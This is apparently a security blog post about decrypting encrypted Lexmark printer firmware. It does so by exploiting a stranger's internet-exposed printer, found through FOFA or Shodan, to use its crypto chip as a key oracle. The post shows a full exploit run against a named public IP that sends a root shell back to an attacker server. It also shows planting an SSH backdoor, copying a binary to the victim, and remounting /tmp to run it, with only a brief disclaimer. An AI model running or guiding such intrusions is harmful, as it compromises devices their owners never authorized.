Are they change the keys?

Decrypting firmware is a pain in the ass (been there). Back in the day, Lexmark used to encrypt their firmware with hardcoded keys baked into the printer. That made things easy - you could just run blasty’s script and voilà, the firmware was decrypted.

But in recent versions, Lexmark added new protection. You can still decrypt the firmware, but the usual SquashFS rootfs is gone:

1
2
3
4
5
6
7
8
9
$ ~/CXLBL.230.408/main $ file *
04_FFAA00C8.bin: data
05_FFAA00D6.bin: data
06_FFAA00BB.bin: data
07_FFAA00C4.bin: DOS/MBR boot sector; partition 1 : ID=0xff, active 0xff, start-CHS (0x3ff,255,63), end-CHS (0x3ff,255,63), startsector 4294967295, 4294967295 sectors; partition 2 : ID=0xff, active 0xff, start-CHS (0x3ff,255,63), end-CHS (0x3ff,255,63), startsector 4294967295, 4294967295 sectors; partition 3 : ID=0xff, active 0xff, start-CHS (0x3ff,255,63), end-CHS (0x3ff,255,63), startsector 4294967295, 4294967295 sectors; partition 4 : ID=0xff, active 0xff, start-CHS (0x3ff,255,63), end-CHS (0x3ff,255,63), startsector 4294967295, 65535 sectors
content_initramfs.bin: Linux Compressed ROM File System data, little endian size 11976704 version #2 sorted_dirs CRC 0x92d236a2, edition 0, 7186 blocks, 146 files
content_license.bin: data
content_rootfs.bin: OpenPGP Public Key
content_uboot.bin: DOS executable (COM), start instruction 0xb80000ea 14f09fe5

They’ve implemented a full disk encryption using dm-crypt and WTM (some dedicated crypto chip?). It’s kinda like LUKS + TPM on my Arch Linux machine but more low-level. Blasty has done some solid analysis on this - Before diving in, I highly recommend checking out his write-ups first: Retrofitting encrypted firmware is a Bad Idea™ and Let’s PWN WTM!.

Key unwrapping

I’ll jump right into the key unwrapping process.

After the kernel boots, /init inside the initramfs is executed. It talks to the WTM driver over a Netlink socket and asks it to unwrap the rootfs.key using wkey4.bin (some kind of Key-Encryption-Key?). The unwrapped key is then used by dm-crypt to decrypt the rootfs, after which the kernel jumps into the newly decrypted rootfs to continue the boot process.

Thanks to blasty, he’s already cooked up a wtm_oracle daemon that handles most of the hard work when it comes to talking to the WTM driver and unwrapping the key. It consists of two main components:

  • wtm_oracle: a daemon that runs as root and communicates with the WTM driver.
  • rootfs_decrypt.py: a client that sends wrapped keys to wtm_oracle, receives the unwrapped key in return, and uses it to decrypt the rootfs.

So, in order to decrypt the firmware, you’ll need to run the wtm_oracle on the printer itself - which means you’ve somehow managed to get RCE on the device.

Decrypt the firmware without owning a printer

The easiest way to decrypt the firmware without owning a printer is borrowing one from your friendly neighbors or friends. There’s no black magic behind this - you still have to access to a real printer somehow…

So the real problem kicks in when you don’t have any friendly neighbors or friends (like me, bocchi), or they just don’t happen to own a Lexmark printer. I actually do have access to one but it’s running a newer firmware version with anti-rollback protection - there’s no way to get shell on that potato.

The modern solution? Simply borrow one from some random friendly internet friends. Fire up FOFA or Shodan - there’s bunch of people out there who are not ready to give you their printer’s IP address:

We’ll pick a usable printer running an old firmware version and hop into it. Note that you don’t even need the exact same printer model to decrypt your target firmware - I used an MX431adn to decrypt firmware of a CX331adwe.

This is for education and researcher purposes only. We’re just borrowing their friendly printer’s WTM to decrypt our firmware - keep in mind that. I’m not responsible for any trouble you cause.

Choose your weapon

Depending on firmware version, I use blasty’s exploit to break into the device. Crowdstrike’s exploit might help too.

This exploit requires the printer to connect back your machine, so I recommend using a VPS. Ngrok works too with a few tweaks.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
$ python exploit.py 38.112.106.10 35.198.254.185

$$$ Lexmark MC3224adwe RCE Exploit $$$
-- by blasty <peter@haxx.in> --

<17:28:34> [i] HACK: attacking 38.112.106.10, sending shells to 35.198.254.185
<17:28:34> [~] UPLOAD: upload lpe polyglot
<17:28:35> [~] COPY: copy polyglot to /tmp and pipe
<17:28:35> [~] SSRF: trigger part 1
<17:28:35> [~] SSRF: trigger part 2
<17:28:41> [~] WAIT: patience you must have, my young padawan
<17:28:49> [i] CLOCK: 15 seconds elapsed..
<17:29:04> [i] CLOCK: 30 seconds elapsed..
<17:29:19> [i] CLOCK: 45 seconds elapsed..
<17:29:34> [i] CLOCK: 60 seconds elapsed..
<17:29:39> [!] ROOT-SHELL: YES! Connection from: ('38.112.106.10', 51684)
<17:29:39> [!] ROOT-SHELL: id output: uid=0(root) gid=0(root)

<17:29:39> [i] HACK: pwning took 65 seconds!
<17:29:39> [!] HACK: we have 235 seconds left, phew!
<17:29:39> [?] HACK: lets see if our ssh daemon is alive..
<17:29:39> [*] HACK: (0) attempting to connect to ssh..
<17:29:39> [!] HACK: YES! ssh banner: SSH-2.0-OpenSSH_8.2

<17:29:39> [!] HACK: spawning flair and interactive ssh shell..
Warning: Permanently added '38.112.106.10' (ED25519) to the list of known hosts.
<17:29:49> [i] CLOCK: 75 seconds elapsed..
root@ET788C771E2008:~# id
uid=0(root) gid=0(root) groups=0(root)

Once you have a shell, you can SSH back in using the private key in ssh_key/. Note that the SSH backdoor is temporatory and it won’t survive a reboot.

wtm_oracle

After hopping in, you’ll need a statically linked wtm_oracle binary to run on that potato. Grab the toolchain from arm-linux-musleabi-cross.tgz.

1
2
3
4
5
~/lexmark/tools/wtm_oracle $ tar -xzf arm-linux-musleabi-cross.tgz
~/lexmark/tools/wtm_oracle $ PATH=./arm-linux-musleabi-cross/bin/:$PATH make
arm-linux-musleabi-gcc -Wall -O2 -I./include/ -o wtm_oracle src/*.c -static
~/lexmark/tools/wtm_oracle $ file wtm_oracle
wtm_oracle: ELF 32-bit LSB pie executable, ARM, EABI5 version 1 (SYSV), static-pie linked, with debug_info, not stripped

Once built, copy the binary to the printer:

1
2
~/lexmark/tools/wtm_oracle $ scp -Oi ../../exploit/ssh_key/id_rsa_lexmark ./wtm_oracle root@38.112.106.10:/tmp
wtm_oracle 100% 66KB 66.2KB/s 00:00

However, /tmp is mounted with the noexec flag, so you can’t run the binaries directly from there:

1
2
3
4
5
root@ET788C771E2008:/tmp# mount | grep '/tmp'
tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,size=502368k)
root@ET788C771E2008:/tmp# chmod +x ./wtm_oracle
root@ET788C771E2008:/tmp# ./wtm_oracle
-sh: ./wtm_oracle: Permission denied

To bypass this, remount /tmp with the exec flag:

1
2
3
4
5
root@ET788C771E2008:/tmp# mount -o remount,exec /tmp
root@ET788C771E2008:/tmp# ./wtm_oracle
fopen: No such file or directory
fopen: No such file or directory
listening on port 17476

The daemon is now up and listening on port 17476. You can ignore the fopen errors unless you’re diving into kernel module experiments.

We’re now ready to decrypt the treasure.

rootfs_decrypt.py

To decrypt the rootfs, simply feed the printer’s IP to the script and wait for the magic to happen:

1
2
3
4
5
~/tmp/lexmark/tools $ python rootfs_decrypt.py ~/CXLBL.230.408/ 38.112.106.10
> wrapped rootfs key : 777915a07ccced8b41ca85da313b648543a95fed5878dc483816298762695d802466fc077f542dce2cb429f6560957b5
> unwrapped rootfs key : 3ff0ec19ebc46b62383e1d9bd1a36c9566b126ee03a8248d382de1523a455a5a
100%|██████████████████████████████████████████████| 271848/271848 [00:03<00:00, 86637.99it/s]
> decrypted rootfs written to /home/hitori/CXLBL.230.408/main/content_rootfs_dec.bin

The majestic SquashFS rootfs is back:

1
2
$ file ~/CXLBL.230.408/main/content_rootfs_dec.bin
/home/hitori/CXLBL.230.408/main/content_rootfs_dec.bin: Squashfs filesystem, little endian, version 4.0, xz compressed, 138076682 bytes, 14859 inodes, blocksize: 131072 bytes, created: Wed Dec 18 13:49:15 2024

Take a quick peek inside:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
~/tmp/lexmark/tools $ unsquashfs ~/CXLBL.230.408/main/content_rootfs_dec.bin
Parallel unsquashfs: Using 12 processors
13699 inodes (15281 blocks) to write
[==================================================================\] 28980/28980 100%
created 12635 files
created 1170 directories
created 1054 symlinks
created 0 devices
created 0 fifos
created 0 sockets
created 10 hardlinks
~/tmp/lexmark/tools $ ls squashfs-root/
bin Build.Info etc lib mnt pkg-netapps root sbin sys usr web
boot dev home media opt proc run srv tmp var

Welcome back to the decrypted world.

Last words

The IoT world has gotten a lot more complicated. We’ve moving far beyond simple RCEs using binwalk and xref’ing system() - now it’s all about fully encrypted filesystems, secure boot and evil-level protection mechanisms. IoT isn’t the easy target it used to be.

Much kudos to blasty for his fantastic write-ups and tools. They’ve helped me a lot while wandering through the land of IoT.

Hope you enjoy my article. Next time, I’ll talks about a Chinese device with some interesting firmware encryption. See you in other silly posts.

Ja ne.